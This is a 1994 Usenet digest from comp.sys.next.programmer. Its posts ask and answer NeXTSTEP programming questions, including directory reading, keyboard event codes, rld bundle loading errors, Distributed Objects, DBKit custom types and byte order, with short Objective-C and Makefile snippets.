Newsgroups: comp.sys.next.programmer From: simonh@lgclmdl.demon.co.uk (Simon Harris) Subject: Re: reading a directory Distribution: world References: <2rlmuh$1qr@taco.cc.ncsu.edu> Organization: Logical Model Ltd. Date: Tue, 31 May 1994 21:27:41 +0000 Message-ID: <770419661snz@lgclmdl.demon.co.uk> Sender: usenet@demon.co.uk In article <2rlmuh$1qr@taco.cc.ncsu.edu> eagle@nest.catt.ncsu.edu "Daniel C. L'Hommedieu" writes: > figure out how to do this. I'm wanting to read a directory, and have my > program get all the filenames so I can parse them. > > Under DOS (Turbo C++), I had "findfirst" and "findnext"...but I can't > find anything equivalent under UNIX. I thought about exec'ing "ls -l" try "man 3 ftw" ftw will give you programatic access to sort of facility that find(1) and ls -R(1) give you. -- Simon Harris simonh@lgclmdl.demon.co.uk
From: Charles William Swiger <infidel+@CMU.EDU> Newsgroups: comp.sys.next.programmer Subject: Re: reading a directory Date: Wed, 1 Jun 1994 17:14:58 -0400 Organization: Carnegie Mellon, Pittsburgh, PA Distribution: world Message-ID: <MhvDdG600WBN05X3Z=@andrew.cmu.edu> In-Reply-To: <770419661snz@lgclmdl.demon.co.uk> Excerpts from netnews.comp.sys.next.programmer: 31-May-94 Re: reading a directory by Simon Harris@lgclmdl.dem > In article <2rlmuh$1qr@taco.cc.ncsu.edu> > eagle@nest.catt.ncsu.edu "Daniel C. L'Hommedieu" writes: > > > figure out how to do this. I'm wanting to read a directory, and have my > > program get all the filenames so I can parse them. > > > > Under DOS (Turbo C++), I had "findfirst" and "findnext"...but I can't > > find anything equivalent under UNIX. I thought about exec'ing "ls -l" > > try "man 3 ftw" ftw will give you programatic access to sort of facility > that find(1) and ls -R(1) give you. How about taking a look at the opendir(), readdir(), etc functions? -Chuck Charles William Swiger - WhiteLight Systems | "All the world's a stage, and" --------------------------------------------+ "we are merely players...." AMS & normal mail: infidel@cmu.edu | NeXTmail: chuck@cswiger.slip.andrew.cmu.edu | "Semper ubi sub ubi."
Newsgroups: comp.lang.objective-c,comp.sys.next.programmer From: esky@marathon.cs.ucla.edu (Eskandar Ensafi) Subject: Is __builtin_return() implemented by NeXT? Organization: UCLA CS Department, Los Angeles, CA Message-ID: <1994Jun01.235643.2242@cs.ucla.edu> Date: Wed, 01 Jun 94 23:56:43 GMT Hello, Does anyone know whether __builtin_apply(), __builtin_return(), etc. are implemented by NeXT? I keep seeing these used in GNU Objective-C code, and they are pretty useful for returning/sending arbitrary types to/from methods called as functions or via objc_msgSendv(). The code I was looking at was *supposed* to compile on the NeXT (libcoll) but it did not, complaining that __builtin_apply was implicitly declared. So what's the scoop? - Eskandar -- "Was ich kann und was ich konnte Weiss ich gar nicht mehr Gib mir wieder etwas schones Zieh mich aus dem meer" -- Marian (The Sisters Of Mercy)
Newsgroups: comp.sys.next.programmer From: jmartin@Dallas.Bozell.com (Jeff Martin) Subject: Re: Return Key question Message-ID: <1994Jun1.214137.16344@bozell.com> Sender: news@bozell.com Organization: Bozell, Jacobs, Kenyon & Eckhardt, Inc. References: <2shlqq$k16@larch.cc.swarthmore.edu> Date: Wed, 1 Jun 1994 21:41:37 GMT In article <2shlqq$k16@larch.cc.swarthmore.edu> he@engin.swarthmore.edu (Ye He) writes: > Sorry if this is a stupid question, but what is the proper > char.code for the carriage return? I mean when I am using > keyDown: to expect the Return key to be pressed, what sign > for the return key shoul I use? > Please reply to my email address. Any help is appreciated! Here is a method I have used before: - keyDown:(NXEvent *)event { switch(event->data.key.charCode) { case 13: [self doReturnKey]; break; case 3: [self doEnterKey]; break; case 127: [self doDeletekey]; break; case 173: [self doUpKey]; break; case 174: [self doRightKey]; break; case 172: [self doLeftKey]; break; case 175: [self doDownKey]; break; } return self; } ... jeff
Newsgroups: comp.sys.next.programmer From: Roberto_Arrocha@SoftDesign.COM (Roberto Arrocha) Subject: Referencing a library in a .bundle project Message-ID: <CqrIF9.CoC@SoftDesign.COM> Sender: roberto@SoftDesign.COM (Roberto Arrocha) Organization: SoftDesign, Inc. Date: Thu, 2 Jun 1994 09:01:56 GMT How do I include a library, by reference, in my WMInspector bundle project? ..bundle projects do not normally have the usual "Libraries" directory. I have tried the following in Makefile.preamble w/o success: OTHER_LIBS = -L/LibName Console error msgs: WM[12430]: Error loading /cube03/Apps/MyInspector.bundle/MyInspector WM[12430]: rld(): Undefined symbols: Please respond to me directly and I'll summarize. Thanks. -- Roberto SoftDesign, Inc.
Newsgroups: comp.sys.next.programmer From: cleelacj@agedwards.com (Chris Cleeland) Subject: Re: BUG: NXMapFile() doesn't release file descriptor on NXClose() Message-ID: <CqqAyB.EwA@agedwards.com> Date: Wed, 1 Jun 1994 17:22:58 GMT References: <2sgds9$f0i@rosie.next.com> Organization: A. G. Edwards & Sons, Inc. Josh Doenias (jdoenias@next.com) wrote: : Joshua Doenias : Adult Toys Division, ^^^^^^^^^^^^^^^^^^^ Hmmmm...and I thought they were out of the hardware business! : NeXT Computer, Inc. -- ============================================================================== Chris Cleeland | NeXTMail: chris@milo.st-louis.mo.us BOS Dev. Team | MIMEMail: cleeland@agedwards.com | BellNet: (314) 289-5372
From: balfanz@zorro.informatik.hu-berlin.de (Dirk Balfanz) Newsgroups: comp.sys.next.programmer Subject: DBKit and special data formats (Q) Date: 2 Jun 1994 15:03:34 GMT Organization: Humboldt University Berlin, Department of Computer Science Distribution: world Message-ID: <2sksc6$dtm@hahn.informatik.hu-berlin.de> I am trying to write a Sybase client for a database using DBKit. It's my first attempt in doing such things. So could a kind soul please point me to an answer to the following question (or even provide that answer!): What can I do if an attribute's type is something like Money. When I try to write edited data back to the server (DBModeler changed the type of the attribute 'price' to string as it doesn't know about Money) I get errors telling me that 'varchar can't be converted to smallmoney' or something alike. The manual says: "... For example, some servers provide special date and money formats. Here the Database Kit can't help you..." I can't believe that. It must be possible to write clients for those 99% databases that use not only string, float and integer types. What would you typically do in such a situation? Many thanks in advance! Dirk.
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.bugs,comp.sys.next.programmer Subject: Why does NXBrowserCell's drawInside composite using NX_COPY? Date: 02 Jun 1994 13:56:59 GMT Organization: me organized? That's a joke! Distribution: world Message-ID: <ROBERT.94Jun2145659@steffi.demon.co.uk> Tests seem to indicate that NX_SOVER isn't used? No big deal since I'm writing a subclass anyway and override drawInside:inView: -- "Real programmers don't create classes. They build hierarchies" (PGP key: send email with Subject: request pgp key) (ASCII for text only messages)
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.bugs,comp.sys.next.programmer Subject: Re: Why does NXBrowserCell's drawInside composite using NX_COPY? Date: 02 Jun 1994 14:25:53 GMT Organization: me organized? That's a joke! Distribution: world Message-ID: <ROBERT.94Jun2152553@steffi.demon.co.uk> References: <ROBERT.94Jun2145659@steffi.demon.co.uk> <robert@steffi.demon.co.uk> writes: >Tests seem to indicate that NX_SOVER isn't used? >No big deal since I'm writing a subclass anyway and override >drawInside:inView: OK, so that assumption was correct. given the following output from NXShowPS NXBrowserCell 0 48 48 48 12 execuserobject 0 61 1 composite My ImageBrowserCell 0 48 48 48 12 execuserobject 0 0 2 composite -- Is this a deliberate decision because of the non-alt image highlighting behaviour? -- Oh and just for a laugh.... where does NXBrowserCell keep the image it uses? Currently, I'm doing good things like using accessor methods in my drawInside but it would be nice to know where this pointer is. -- "Real programmers don't create classes. They build hierarchies" (PGP key: send email with Subject: request pgp key) (ASCII for text only messages)
From: sundermm@columbia.dsu.edu (Mark Sundermeyer) Newsgroups: comp.sys.next.programmer Subject: Help! Date: 2 Jun 1994 17:06:24 GMT Organization: Dakota State University Message-ID: <sundermm.41.0@columbia.dsu.edu> I was wondering if anyone here can help me? I need information on the problems of being a programmer and any solutions that you have to these problems. It's for a report that I am working on. Thank you for any help that you can provide. Marc...
From: diana@lusty.tamu.edu (Diana) Newsgroups: comp.sys.next.programmer Subject: Garfinkle & Mahoney Date: 2 Jun 1994 17:16:08 GMT Organization: None Message-ID: <2sl44o$4k@news.tamu.edu> Can someone please give me the information I would need to order Garfinkle & Mahoney? Thanks Diana -- It should be against the law for anyone born after 1970 to wear tie-dye. ---Stephen K. Baum
From: shahrooz@rilian.ext.vt.edu (Shahrooz Feizabadi) Newsgroups: comp.sys.next.programmer Subject: PDOs -- HELP!! Date: 2 Jun 1994 19:25:17 GMT Organization: Virginia Tech, Blacksburg, Virginia Message-ID: <2slbmt$hhr@solaris.cc.vt.edu> Hi! I'd like to appeal to the collective wisdom of you all NeXT gurus for some help! As a possible project for a CS graduate class, I'm supposed to develop a client/server application using some distributed object technology. I'm considering NEXTSTEP and PDOs. Here's some background: 1 - I've read the first seven chapters in the Garfinkel/Mahoney book and I *think* I understand the basic Objective-C concepts, but I haven't done anything beyond the example apps. I have a solid C background though. 2 - I know DCE. 3 - I'll be upgrading to NEXTSTEP 3.2 on black hardware this afternoon. Here's my questions: 1 - Can you recommend any reading material on this subject? (besides chapter six of the General Reference book) 2 - What are the issues that I need to be aware of? 3 - Most importantly, given the above background, do you think it would be possible to develop a most basic client/server app using PDOs in 3 weeks time? (about 120 hours total -- this would include upgrading to 3.2 and any configuration that setting up PDO might require) Thank you in advance. -- Shahrooz Feizabadi Programmer/Analyst Extension Information Systems Virginia Polytechnic Institute
From: sundermm@columbia.dsu.edu (Mark Sundermeyer) Newsgroups: comp.sys.next.programmer Subject: clarifier to Help! Date: 2 Jun 1994 19:19:31 GMT Organization: Dakota State University Message-ID: <sundermm.55.0@columbia.dsu.edu> Basically, the occupational problems I might run into if I were to become a programmer. Marc...
Newsgroups: comp.sys.next.programmer,comp.sys.next.misc From: ivor@cs.mcgill.ca (Ivo ROTHSCHILD) Subject: CrashTrap Message-ID: <1994Jun2.205217.13260@sifon.cc.mcgill.ca> Sender: news@sifon.cc.mcgill.ca Organization: SOCS, McGill University, Montreal, Canada Date: Thu, 2 Jun 1994 20:52:17 GMT I have submitted CrashTrap to the archives. The files are CrashTrap.README and CrashTrap.tar.gz. It is at the following sites: sonata.cc.purdue.edu: /pub/next/submissions cs.orst.edu: /pub/next/submissions hasc.ca: /pub/next CrashTrap is a demo of the ObjectError class. This class can help in debugging an app by reporting on crashes. When enabled, this class catches terminating signals (ie seg faults, bus errors) and fatal Objective-C runtime errors and writes a backtrace out to the console. It can also be set to continue after a crash by jumping back into the main event loop. This can give users the opportunity to save their work. ObjectError was written by many people including Bill Bumgarner, Andrew Stone, Mike Morton, and Julie Zalenski. I added the "continue after a crash" feature. -ivo ivo@hasc.ca
Newsgroups: comp.sys.next.programmer From: paul@seer.demon.co.uk (Paul Lynch) Subject: Getting around rld errors Message-ID: <1994Jun2.205855.11554@seer.demon.co.uk> Sender: news@seer.demon.co.uk Organization: P & L Systems Date: Thu, 2 Jun 1994 20:58:55 GMT I am writing an object file to be loaded into another application (the classic bundle situation), which requires some symbols defined in the NeXT shared libraries. The main application doesn't link against all of these libraries. As a result, if I cc normally, I get a bunch of undefined symbol messages. If, instead, I use the -u flag against the libraries, the object file is created (at 1.5Mb!), but I get an rld error message: can't dynamicly load fixed VM shared library Does anyone have the answer to this problem? Paul -- Paul Lynch P & L Systems (NeXTmail) paul@seer.demon.co.uk Tel: (0494)671501 9 Stable Lane, Seer Green, Fax: (0494)680228 Bucks, HP9 2YT, UK
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: Getting around rld errors Date: 02 Jun 1994 22:40:35 GMT Organization: me organized? That's a joke! Message-ID: <ROBERT.94Jun2234035@steffi.demon.co.uk> References: <1994Jun2.205855.11554@seer.demon.co.uk> <paul@seer.demon.co.uk> writes: >I am writing an object file to be loaded into another application (the >classic bundle situation), which requires some symbols defined in the NeXT >shared libraries. The main application doesn't link against all of these >libraries. >As a result, if I cc normally, I get a bunch of undefined symbol messages. >If, instead, I use the -u flag against the libraries, the object file is >created (at 1.5Mb!), but I get an rld error message: > can't dynamicly load fixed VM shared library >Does anyone have the answer to this problem? Unless the executable is linked against that shared library forget it. External references in loaded modules can only be resolved through the symbol table of the main executable. rld.3 Since the objects loaded with rld_load can only use symbols that appear in the executable program, if the program uses a library and wants to make all the symbols in that library available to the loaded objects, it must force all of the library symbols into the executable. This can be done for all libraries with the -all_load option to ld(1) when build- ing the executable. -- "Real programmers don't create classes. They build hierarchies" (PGP key: send email with Subject: request pgp key) (ASCII for text only messages)
From: starksm@genesis.mcs.com (Scott M. Stark) Newsgroups: comp.sys.next.programmer Subject: Re: PDOs -- HELP!! Date: 3 Jun 1994 02:04:45 GMT Organization: MCSNet Services Distribution: world Message-ID: <2sm33t$o6s@News1.mcs.com> References: <2slbmt$hhr@solaris.cc.vt.edu> Keywords: DistributedObjects In article <2slbmt$hhr@solaris.cc.vt.edu> shahrooz@rilian.ext.vt.edu (Shahrooz Feizabadi) writes: > Hi! > > I'd like to appeal to the collective wisdom of you all NeXT gurus for some > help! As a possible project for a CS graduate class, I'm supposed to develop a > client/server application using some distributed object technology. I'm > considering NEXTSTEP and PDOs. Here's some background: > > 1 - I've read the first seven chapters in the Garfinkel/Mahoney book and I > *think* I understand the basic Objective-C concepts, but I haven't done > anything beyond the example apps. I have a solid C background though. > > 2 - I know DCE. > > 3 - I'll be upgrading to NEXTSTEP 3.2 on black hardware this afternoon. > > > Here's my questions: > > > 1 - Can you recommend any reading material on this subject? (besides chapter > six of the General Reference book) > > 2 - What are the issues that I need to be aware of? > > 3 - Most importantly, given the above background, do you think it would be > possible to develop a most basic client/server app using PDOs in 3 weeks time? > (about 120 hours total -- this would include upgrading to 3.2 and any > configuration that setting up PDO might require) > > Thank you in advance. > > -- > Shahrooz Feizabadi > Programmer/Analyst > Extension Information Systems > Virginia Polytechnic Institute Shahrooz, Take a look at the remote spot example in NextDeveloper/Examples/DistributedObjects and refer to Chapter 6 and you can develop "most basic client/server app" in much less that 12 hours including installation and debugging time. Scott -- Scott Stark Stark Internation Software 4950 N. Marine Dr. #102 Chicago, IL 60640 starksm@genesis.mcs.com (NeXT mail accepted)
From: rencsok@convex.cl.msu.edu (randal rencsok) Newsgroups: comp.sys.next.programmer Subject: Looking for Kent Hodor, Grant Dorman, and Frog Desing Date: 3 Jun 1994 03:03:42 GMT Organization: Michigan State University Message-ID: <2sm6ie$1091@msuinfo.cl.msu.edu> The Subject says it all. Anyone with info reply to above address (ascii only) or rencsok@cteq14.pa.msu.edu (NeXT mail encouraged) Randy Rencsok Turbo Software 517-546-4037
Newsgroups: comp.sys.next.programmer From: marcos@its.com (Marcos J. Polanco) Subject: How to change the application icon Message-ID: <1994Jun2.183834.18198@its.com> Sender: usenet@its.com Organization: Information Technology Solutions Date: Thu, 2 Jun 1994 18:38:34 GMT If it's been asked once... I need some sample code of how to change the application icon, much in the way that Mail.app changes its icon when new mail arrives. Thanks. --- -- - marcos j. polanco - marcos@its.com -- --- Be reachable by any e-mail address you may have used in the past! For more information on the new Persona Contact server, send an empty message to contact-info@dogen.persona.com. marcos@its.com -- --- Be
Newsgroups: comp.sys.next.programmer From: marcos@its.com (Marcos J. Polanco) Subject: Re: How to change the application icon Message-ID: <1994Jun2.212526.19678@its.com> Sender: usenet@its.com Organization: Information Technology Solutions References: <1994Jun2.183834.18198@its.com> Date: Thu, 2 Jun 1994 21:25:26 GMT In article <1994Jun2.183834.18198@its.com> marcos@its.com (Marcos J. Polanco) writes: > > If it's been asked once... > > I need some sample code of how to change the application > icon, much in the way that Mail.app changes its icon when > new mail arrives. NXPoint point = {8.0, 8.0}; NXPoint origin = {0.0, 0.0}; [[[NXApp appIcon] contentView] lockFocus]; [[NXImage findImageNamed:"tile"] composite:NX_COPY toPoint:&origin]; [[NXImage findImageNamed:"NewIcon"] composite:NX_SOVER toPoint:&point]; [[[NXApp appIcon] contentView] unlockFocus]; [[NXApp appIcon] display]; Maybe a UI specialist can make it leaner and meaner, but I've gotten it to work this way. Thanks Eric! --- -- - marcos j. polanco - marcos@its.com Be reachable by any e-mail address you may have used in the past! For more information on the new Persona Contact server, send an empty message to contact-info@dogen.persona.com.
From: wjs@crocodile.omnigroup.com (William Shipley) Newsgroups: comp.sys.next.programmer Subject: Re: DBKit and special data formats (Q) Date: 2 Jun 1994 19:42:29 -0700 Organization: Omni Development, Inc. Message-ID: <2sm5al$1b8@crocodile.omnigroup.com> References: <2sksc6$dtm@hahn.informatik.hu-berlin.de> balfanz@zorro.informatik.hu-berlin.de (Dirk Balfanz) writes: >What can I do if an attribute's type is something like Money. When I try >to write edited data back to the server (DBModeler changed the type of the >attribute 'price' to string as it doesn't know about Money) I get errors >telling me that 'varchar can't be converted to smallmoney' or something >alike. Use an object conforming to the customTypes protocol, and fetch your money as an object instead of as a string (set this in DBModeler). -Wil Shipley Omni Development, Inc.
From: rse@bigdog.engr.arizona.edu (Robert Elder) Newsgroups: comp.sys.next.programmer Subject: How to compile RenderMan progs? Date: 3 Jun 1994 05:19:40 GMT Organization: University of Arizona Message-ID: <2smehc$fl@organpipe.uug.arizona.edu> How does one compile the programs in Upstill's Renderman Companion? The usual: cc rmanprog.c -o rmanprog doesn't work. Thanks, Robert Elder (rse@bigdog.engr.arizona.edu)
Newsgroups: comp.sys.next.programmer From: jmartin@Dallas.Bozell.com (Jeff Martin) Subject: Re: reading a directory Message-ID: <1994Jun2.191952.21094@bozell.com> Sender: news@bozell.com Organization: Bozell, Jacobs, Kenyon & Eckhardt, Inc. References: <770419661snz@lgclmdl.demon.co.uk> Date: Thu, 2 Jun 1994 19:19:52 GMT In article <770419661snz@lgclmdl.demon.co.uk> simonh@lgclmdl.demon.co.uk (Simon Harris) writes: > In article <2rlmuh$1qr@taco.cc.ncsu.edu> > eagle@nest.catt.ncsu.edu "Daniel C. L'Hommedieu" writes: > figure out how to do this. I'm wanting to read a directory, and have my > program get all the filenames so I can parse them. > Under DOS (Turbo C++), I had "findfirst" and "findnext"...but I can't > find anything equivalent under UNIX. I thought about exec'ing "ls -l" Here is a method that I have used using opendir() and readdir(): #import <sys/dir.h> - parseDirectory:(const char *)directory { DIR *thedir = opendir(directory);; struct direct *entry; // Look at each entry in the directory while(thedir && (entry = readdir(thedir))) [self doSomethingWithFilename:entry->d_name]; // Close the directory if(thedir) closedir(thedir); return self; } Also, there is an interesting object at ftp.next.com that will return you a list of filenames given the directory that you want to search and the extensions that you want to find. I think it is called StringList. ... jeff
From: eps@futon.SFSU.EDU (Eric P. Scott) Newsgroups: comp.sys.next.programmer Subject: Re: Garfinkle & Mahoney Date: 3 Jun 1994 06:20:40 GMT Organization: San Francisco State University Message-ID: <2smi3o$npu@nic-nac.CSU.net> References: <2sl44o$4k@news.tamu.edu> In article <2sl44o$4k@news.tamu.edu> diana@lusty.tamu.edu (Diana) writes: >Can someone please give me the information I would need to >order Garfinkle & Mahoney? Sure. G-A-R-F-I-N-K-E-L. ^ ^ Here's the MELVYL (telnet melvyl.ucop.edu) listing: Author: Garfinkel, Simson. Title: NeXTSTEP programming : step one, object-oriented applications / Simson L. Garfinkel, Michael K. Mahoney. New York : Telos : Springer-Verlag, c1993. Description: xxxvi, 631 p. : ill. ; 24 cm. + 1 computer disk. Notes: System requirements for computer disk NeXTstation or a personal computer running NeXTSTEP 486. Includes bibliographical references and index. Subjects: NeXTSTEP. NeXT (Computer) -- Programming. Object-oriented programming (Computer science) Other entries: Mahoney, Michael K. Call numbers: UCB Engin QA76.8.N49 G37 1993 Accompanying disk shelved in Reserve [The U.S. printing has ISBN 0-387-97884-4; the European printing has ISBN 3-540-97884-4.] -=EPS=-
From: biscm@info.isbiel.ch (Martin Bischoff) Newsgroups: comp.sys.next.programmer Subject: Connection to a matrix? Date: 3 Jun 1994 06:32:30 GMT Organization: Biel School of Engineering, CH-2501 Biel, Switzerland Distribution: world Message-ID: <2smipu$jne@vega.info.isbiel.ch> Hello, I have a small question: Is it possible to make a connection (in InterfaceBuilder) to a matrix of text-fields? I tried it, but when I debugged it, the id was always 0. Thanks for any help. Greetings, Martin.
From: biscm@info.isbiel.ch (Martin Bischoff) Newsgroups: comp.sys.next.programmer Subject: Read float from a FormCell Date: 3 Jun 1994 13:51:10 GMT Organization: Biel School of Engineering, CH-2501 Biel, Switzerland Distribution: world Message-ID: <2sncge$5td@vega.info.isbiel.ch> Hello, I have problem reading a float value from a FormCell with the following method: myFloat=[aFormCell floatValue] This method reads a float from a FormCell even if the data in that cell are of a completely different type (e.g. alphanumeric). Now my question: Is it possible, to check, if the data read from the FormCell is a valid float? Does the method return an error code, if the data wasn't valid? Thanks for any help. Martin.
From: tgall@oliverwjones.rchland.ibm.com (Tom Gall) Newsgroups: comp.sys.next.programmer Subject: NS & Endianess Date: 3 Jun 1994 13:45:21 GMT Organization: IBM Rochester MN Distribution: world Message-ID: <2snc5h$24jl@locutus.rchland.ibm.com> Hi all, Gotta question for you all. How does NeXTSTEP handle endianess. Especially given the difference between Motorola and Intel hardware. (Big Endian vs Little Endian) IE how does the operating system deal with the issue? Does everything run in one mode of endianess, and thus reduce everything to just an issue of data coming in from disk? Or is it more complicated than this? Thanks for the use of your brains, Tom -- #include <std-disclaimer.h> |o| Tom Gall "Where's the ka-boom? There was supposed to be |o| |o| IBM Rochester an earth shattering ka-boom!" |o| |o| - Marvin Martian |o| |o| tom_gall@vnet.ibm.com (work - No NeXTMail) |o| |o| tgall@online.apple.com (home - Newton Mail) |o|
Newsgroups: comp.sys.next.programmer From: dgoodman@is.rpslmc.edu (Dave Goodman) Subject: NXTextStyle/NXTabStop question Message-ID: <1994Jun3.152115.21095@rpslmc.edu> Keywords: NXTextStyle, NXTabStop, NeXT, Text Object Sender: news@rpslmc.edu Organization: Rush-Presbyterian-St. Luke's Medical Center Date: Fri, 3 Jun 1994 15:21:15 GMT I am trying to programmatically set up the tab stops for a text object. Here is what I did: NXTextStyle *currentStyle = [aText defaultParaStyle]; NXTextStyle *textStyle = (NXTextStyle *)malloc(sizeof(NXTextStyle)); [aText selectAll:self]; textStyle->indent1st = 0; textStyle->indent2nd = 300; textStyle->lineHt = currentStyle->lineHt; textStyle->descentLine = currentStyle->descentLine; textStyle->alignment = currentStyle->alignment; textStyle->numTabs = 3; textStyle->tabs = (NXTabStop *)malloc(3*sizeof(NXTabStop)); textStyle->tabs[0].kind = 0; textStyle->tabs[0].x = 70; textStyle->tabs[1].kind = 0; textStyle->tabs[1].x = 210; textStyle->tabs[2].kind = 0; textStyle->tabs[2].x = 285; [aText setParaStyle:(void *)textStyle]; Now, I am getting bogus errors that seem to be memory related. The error doesn't crop up in the same place all the time, but is seems to generally be related to freeing a Text Object. So, after examining my code for other obvious memory leaks, the above code is all I have left that is suspect for using memory that does not belong to it. Is this the right way to go about setting up a paragraph style? Also who _should_ free the NXTextStyle? The general rule is you create it, you free it, but I'm giving it up to the Text Object, will it free it properly? What happened to the one the Text Object had in the first place? Thanks in advance for any clues... -- -Dave ============================================ = David I. Goodman N[eE]XTSTEP Developer = = Single Source Systems, Inc. = = dgoodman@is.rpslmc.edu = ============================================ Disclaimer: No statements made in this article should be construed to reflect the opinions of Rush-Presbyterian-St. Luke's Medical Center or Single Source Systems. All opinions are wholly my own, and I am solely responsible for my statements.
Newsgroups: comp.sys.next.programmer From: Nghiem_Alex@pcp.ca (Alex Nghiem) Subject: malloc, malloc_debug and MallocDebug Message-ID: <1994Jun3.162749.7574@pcp.ca> Sender: news@pcp.ca Organization: PanCanadian Petroleum Ltd. Date: Fri, 3 Jun 94 16:27:49 GMT Hello there: I would like to use malloc_debug to track down memory corruption. However, I would also like to use MallocDebug (the app) to find memory leaks. To use MallocDebug, I have to link against a special library, which uses a different version of malloc. Can I use malloc_debug with the version of malloc in the MallocDebug library or how do I have to use it with the standard library? In other words, are malloc_debug and MallocDebug mutually exclusive? Please e-mail me and I'll summarize. Thanks, Alex Nghiem_Alex@pcp.ca alex@oolesson.com
Newsgroups: comp.sys.next.programmer From: ploeger@aplki.toppoint.de (Andreas Ploeger) Subject: WMInspector: selectionPathsInto:separator: Design Bug? Message-ID: <1994Jun3.112513.3344@aplki.toppoint.de> Sender: ploeger@aplki.toppoint.de (Andreas Ploeger) Organization: Andreas Ploeger Date: Fri, 3 Jun 94 11:25:13 GMT From NeXT's documentation: >"Returns the paths of the files selected in the File Viewer. The >paths are placed in the string pathString; each path is separated >from the previous one by character. For example, if character >is `:', pathString could contain /me/test1:/me/test2:/me/test3. > >If your inspector acts on only one file at a time (see selectionCount), >the file's path can be identified using this message: > >char fullPath[MAXPATHLEN+1]; [self selectionPathsInto:fullPath >separator:'\0'];" Fine, but I intended to write an inspector that allows multiple selections. How should I dimension fullPath? To 10*(MAXPATHLEN+1)? And what happens if the user selects 11 files with the maximum pathlen? Looks like a design bug to me. Any comments? Greetings, Andreas ------------------------------------------------------------ Andreas Ploeger E-Mail: ploeger@tpki.toppoint.de Kiel University Phone: (49) 431 597 1757 Clinic for Pediatric Cardiology FAX: (49) 431 597 1828 Schwanenweg 20, 24105 Kiel 1, Germany *** NeXT Mail welcome *** -- -------------------------------------------------------------------- Andreas Ploeger E-Mail: ploeger@tpki.toppoint.de
Newsgroups: comp.sys.next.programmer From: byer@mv.us.adobe.com (Scott Byer) Subject: Re: NS & Endianess In-Reply-To: tgall@oliverwjones.rchland.ibm.com's message of 3 Jun 1994 13:45:21 GMT Message-ID: <BYER.94Jun3103220@embassy.mv.us.adobe.com> Sender: usenet@adobe.com (USENET NEWS) Organization: Adobe Systems Incorporated, Mountain View, CA References: <2snc5h$24jl@locutus.rchland.ibm.com> Date: Fri, 3 Jun 1994 17:32:20 GMT Tom Gall writes: Tom> How does NeXTSTEP handle endianess. Especially given the difference Tom> between Motorola and Intel hardware. (Big Endian vs Little Endian) Correctly :-)... Basically, the layers between the application and "storage" (disk, net protocols) are responsible for flipping and twiddling. So as long as you use object archiving and types streams, you application doesn't have to worry (the client library takes care of the DPS protocol part). If you go around the AppKit, and use the low-level Unix file operators, it's your applications responsiblity to ensure byte-order independence for it's file formats. But why would you want to do that? :-) Tom> Does everything run in one mode of endianess, and thus reduce Tom> everything to just an issue of data coming in from disk? Yup, in native order. This is going to be a real issue for some time, as big-endian has enough small advantages that even Intel can't make it go away. -- Scott Byer NeXTMail: byer@mv.us.adobe.com Adobe Systems Incorporated These are *my* opinions, and 1585 Charleston Road, P.O. Box 7900 do not necessarily reflect Mountain View, CA 94039-7900 the opinions of my employer. === ===
From: pcu@umich.edu Newsgroups: comp.sys.next.programmer Subject: Re: PDOs -- HELP!! Date: 3 Jun 1994 17:48:08 GMT Organization: University of Michigan Distribution: world Message-ID: <2snqco$gl8@lastactionhero.rs.itd.umich.edu> References: <2sm33t$o6s@News1.mcs.com> In article <2sm33t$o6s@News1.mcs.com> starksm@genesis.mcs.com (Scott M. Stark) writes: > In article <2slbmt$hhr@solaris.cc.vt.edu> shahrooz@rilian.ext.vt.edu > (Shahrooz Feizabadi) writes: > > 3 - Most importantly, given the above background, do you think it would > be > > possible to develop a most basic client/server app using PDOs in 3 weeks > time? > Take a look at the remote spot example in > NextDeveloper/Examples/DistributedObjects and refer to Chapter 6 and > Scott I agree with Scott that the RemoteSpot example is a very good one. Other than that, I would recommend (since you have little Obj-C experience) that you develop two classes named Server and Client. Work out the application using just messages. THEN, when it's working, modify Server and Client to enable them to use PDO's. DON'T jump into PDO's until then, 'cause if you're not *comfortable* with normal messages, PDO will add just that much more frustration. Enabling PDO is much less of a pain that way. (yes, you get better code if you do it *right* the first time around, but it is *easier* to code this way). -- Peter Urka <pcu@umich.edu> Dept. of Chemistry, Univ. of Michigan Anything to me is sweeter, Than to see Shock-headed Peter. - H. Hoffmann
#################################################################### From: pgriffin@gluon.phys.ufl.edu (Paul A. Griffin) Newsgroups: comp.sys.next.programmer Subject: text object -- how to add return characters to line breaks? Date: 3 Jun 1994 20:34:33 GMT Organization: University of Florida Message-ID: <2so44pINNa45@no-names.nerdc.ufl.edu> I have a text object question: In both Mail.app and Newsgrazer.app, there is support for insertion of a *real* return character at the end of a line. This is clearly a desirable feature for any editor that creates documents for internet mail transmission. However, I don't see this supported in the text object. The "breaks" which can be added at the end of a "line" are for display purposes only, and do not add any additional characters. (This actually makes sense in the context of C programming.) Does anyone out there have a suggestion for how to "elegantly", and within the context of the text object, add real return characters to the end of a line break, or force a return after a certain amount of characters at word boundaries? The only thing I can think of is a bit grungy. Sincerely, Paul Griffin p.s. Is there a comp.sys.next.programmer FAQ where questions like this are answered? -- Paul A. Griffin Send E-mail to: pgriffin@phys.ufl.edu (internet) For more information, finger pgriffin@quark.phys.ufl.edu
From: Mike_Paquette@next.com Newsgroups: comp.sys.next.programmer Subject: Re: Getting around rld errors Date: 3 Jun 1994 20:34:22 GMT Organization: NeXT, Inc. Distribution: usa Message-ID: <2so44f$24j@rosie.next.com> References: <1994Jun2.205855.11554@seer.demon.co.uk> In article <1994Jun2.205855.11554@seer.demon.co.uk> paul@seer.demon.co.uk (Paul Lynch) writes: > I am writing an object file to be loaded into another application (the > classic bundle situation), which requires some symbols defined in the NeXT > shared libraries. The main application doesn't link against all of these > libraries. This is the source of your problem. You'll need to add the shared library symbols to the app which will be dynamically loading the object files. You can do this by linking the app using the -u flag, or by specifying the -all_load flag before the libraries on your link line (Release 3.x). If you are building an Appkit based app using Project Builder and it's makefiles, you'll also need to make a small change in Makefile.postamble so that the app is not completely stripped of symbols on installation: From makefile.postamble: # Options to strip for bundles, apps with bundles, and apps without bundles, # respectively. #RELOCATABLE_STRIP_OPTS = -x -u DYLD_APP_STRIP_OPTS = -A -n APP_STRIP_OPTS = $(DYLD_APP_STRIP_OPTS) #TOOL_STRIP_OPTS = # (Note: APP_STRIP_OPTS and TOOL_STRIP_OPTS default to empty, but # developers doing their own dynamic loading should set this to # $(DYLD_APP_STRIP_OPTS)). 